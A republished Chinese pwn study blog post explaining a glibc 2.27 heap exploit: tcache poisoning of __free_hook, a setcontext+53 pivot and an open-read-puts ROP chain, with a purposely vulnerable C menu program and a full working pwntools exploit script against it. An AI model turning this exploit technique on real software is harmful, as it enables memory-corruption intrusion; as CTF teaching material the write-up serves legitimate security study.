欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 八卦 > 【我的 PWN 学习手札】setcontext + ROP

【我的 PWN 学习手札】setcontext + ROP

2025/4/2 10:05:10 来源:https://blog.csdn.net/Mr_Fmnwon/article/details/143310980  浏览:    关键词:【我的 PWN 学习手札】setcontext + ROP

堆上的setcontext利用系列还有:

【我的 PWN 学习手札】setcontext + shellcode-CSDN博客

目录

前言

一、setcontext gadget

二、setcontext + ROP

(一)setcontext设置寄存器

(二)ROP链布置 

三、图示  

四、模板与测试 

(一)pwn.c

(二)exp.py 

(三)过程调试 

1.free时触发调用__free_hook,跳转执行setcontext gadget

2.setcontext gadget执行完,寄存器的值已经被设置好,接下来进行open("./flag")

3.open("./flag")执行完毕,从rsp寻找返回值,进入ROP链

4.ROP——read(3,buf,0x20)

5.ROP——puts(buf) 

6.效果


前言

setcontext的gadget能够“恢复上下文”,即设置寄存器的值。除了可以利用其执行shellcode,还可以实现ROP来getshell。本篇介绍了利用setcontext+ROP的方法,ORW地打印flag信息。 


一、setcontext gadget

详见【我的 PWN 学习手札】setcontext + shellcode-CSDN博客

二、setcontext + ROP

这一次还是先给出示例的EXP代码,然后分析代码执行流。


### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
delete(2)

假定读者已经阅读过前文setcontext + shellcode,或者本身就对setcontext+53处的gadget有一定的了解。 为不冗余赘述,直接进行利用setcontext进行ORW ROP的执行流介绍。

(一)setcontext设置寄存器

我们可以利用setcontext的gadget来实现对除了rax的所有寄存器赋值。因此

  • rdi=add_of_str_"./flag"
  • rip=add_of_func_open

这样至少能够执行一次open,打开了"./flag"文件。然后程序会从rsp寻找返回地址并跳转。然而执行完后我们希望能够ROP,所以rsp也是需要赋值的,并期望它能够指向ROP链。很自然的,我们对__free_hook附近分配的fake chunk具有写权限(这也是我们能够触发setcontext的原因,不熟悉的读者可以看前一篇博客),所以我们可以把ROP链布置到这里。

  • rsp=add_of_ROP_begin

(二)ROP链布置 

注意,利用gadget setcontext+53已经实现了open,接下来是read的ROP链的布置。在编辑__free_hook时,可以把ROP链不知道其后面。再在setcontext gadget中将rsp指向ROP起始处。

__free_hook | addr(pop_rdi;ret;) | 3 | addr(pop_rsi;ret) |  buf_addr | addr(pop_rdx;ret) | 0x20 | addr(read) | addr(pop_rdi;ret;) | buf_addr | addr(puts)

注意,在open时还需要字符串"./flag",也可以在相对__free_hook固定偏移的位置写入。

三、图示  

利用上述过程完成open("./flag") 

利用上述过程完成read(3,buf,0x20)+puts(buf) 

四、模板与测试 

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}

(二)exp.py 

from pwn import *
elf=ELF('./pwn')
libc=ELF('/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)### leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x3ebca0
success('libc base:'+hex(libc.address))### tcache poisoning
add(0,0x3f8)
delete(0)
edit(0,0x8,p64(libc.sym['__free_hook']))
add(0,0x3f8)
add(1,0x3f8) # __free_hook
add(2,0x50)
### setcontext+roppayload=b''
payload+=p64(libc.sym['setcontext']+53)
# read(3,__free_hook+0x108,0x20)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(3)
payload+=p64(libc.search(asm('pop rsi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.search(asm('pop rdx;ret')).__next__())
payload+=p64(0x20)
payload+=p64(libc.sym['read'])
# puts(__free_hook+0x108)
payload+=p64(libc.search(asm('pop rdi;ret')).__next__())
payload+=p64(libc.sym['__free_hook']+0x108)
payload+=p64(libc.sym['puts'])
payload=payload.ljust(0x100,b'\x00')
payload+=b'./flag\x00'
edit(1,len(payload),payload)frame=SigreturnFrame()
# open('./flag')
frame.rdi=libc.sym['__free_hook']+0x100
frame.rsi=0
frame.rdx=0
frame.rip=libc.sym['open']
frame.rsp=libc.sym['__free_hook']+0x8edit(2,len(frame.__bytes__()),frame.__bytes__())
pause()
delete(2)io.interactive()

(三)过程调试 

1.free时触发调用__free_hook,跳转执行setcontext gadget

2.setcontext gadget执行完,寄存器的值已经被设置好,接下来进行open("./flag")

3.open("./flag")执行完毕,从rsp寻找返回值,进入ROP链

4.ROP——read(3,buf,0x20)

5.ROP——puts(buf) 

6.效果

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词